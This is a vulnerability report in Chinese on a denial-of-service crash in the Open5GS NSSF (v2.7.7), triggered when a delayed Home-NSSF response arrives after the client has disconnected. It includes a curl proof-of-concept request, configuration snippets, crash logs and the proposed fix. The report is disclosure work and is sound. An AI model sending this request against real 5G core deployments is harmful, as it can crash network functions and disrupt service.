# 漏洞总结:NSSF 崩溃问题 ## 漏洞概述 在 Open5GS 的 NSSF(Network Slice Selection Function)中,当客户端断开连接后,如果 Home-NSSF 的响应延迟到达,会导致 NSSF 进程崩溃。 ## 影响范围 - **组件**: Open5GS NSSF 模块 - **版本**: v2.7.7 - **触发条件**: - 客户端发起 `GET /nssf-nselection/v2/network-slice-information` 请求 - 客户端在 Home-NSSF 响应到达前断开连接 - Home-NSSF 响应延迟到达 ## 修复方案 NSSF 应在原始请求者断开连接后,安全地丢弃延迟响应或清理事务,而不触碰已关闭的流。 ## POC 代码 ### 配置文件示例 ```yaml # /home/ubuntu/docker-open5gs/configs/basic/ueranf.yaml nrf: serving: - plmn_id: { mcc: 001, mnc: 01 } - plmn_id: { mcc: 999, mnc: 70 } # /home/ubuntu/docker-open5gs/configs/basic/nsmf.yaml nssf: serving: - plmn_id: { mcc: 001, mnc: 01 } ``` ### 测试命令 ```bash curl --http2-prior-knowledge --max-time 1 -s -I -get \ 'http://10.33.33.6/nssf-nselection/v2/network-slice-information' \ --data-urlencode 'rf: {type:AMF}' \ --data-urlencode 'rf:type=AMF' \ --data-urlencode 'home-plmn-id:{mcc:"999",mnc:"70"}' \ --data-urlencode 'slice-info-request-for-pdu-session:{"sNSSAI":{"sst":1,"sd":"000001"},"homeSNSSAI":{"sst":1,"sd":"000001"}}' ``` ## 日志信息 ``` Original requester: curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received Delayed Home-NSSF backend saw the request: GET /nssf-nselection/v2/network-slice-information?slice-info-request-for-pdu-session=%7B%22sNSSAI%22%3A%7B%22sst%22%3A1%2C%22sd%22%3A%22000001%22%7D%2C%22homeSNSSAI%22%3A%7B%22sst%22%3A1%2C%22sd%22%3A%22000001%22%7D%7D Container state: exited 139 2026-04-18T18:25:33.59273294Z NSSF logs: 04/18 18:25:31.408: [sbi] INFO: RST_STREAM received: stream_id=1 (../lib/sbi/nghttp2-server.c:1288) 04/18 18:25:33.483: [nssf] FATAL: nssf_nrf_nselection_handle_get_from_nssf: Assertion 'stream' failed. (../src/nssf/nssf_nselection.c:108) ``` ## 预期行为 如果原始请求者在 Home-NSSF 响应到达前断开连接,NSSF 应安全地丢弃延迟响应或清理事务,而不触碰已关闭的流。 ## 实际行为 原始客户端超时,流关闭,延迟的 Home-NSSF 响应导致 NSSF 断言 NULL 流指针并退出,代码 139。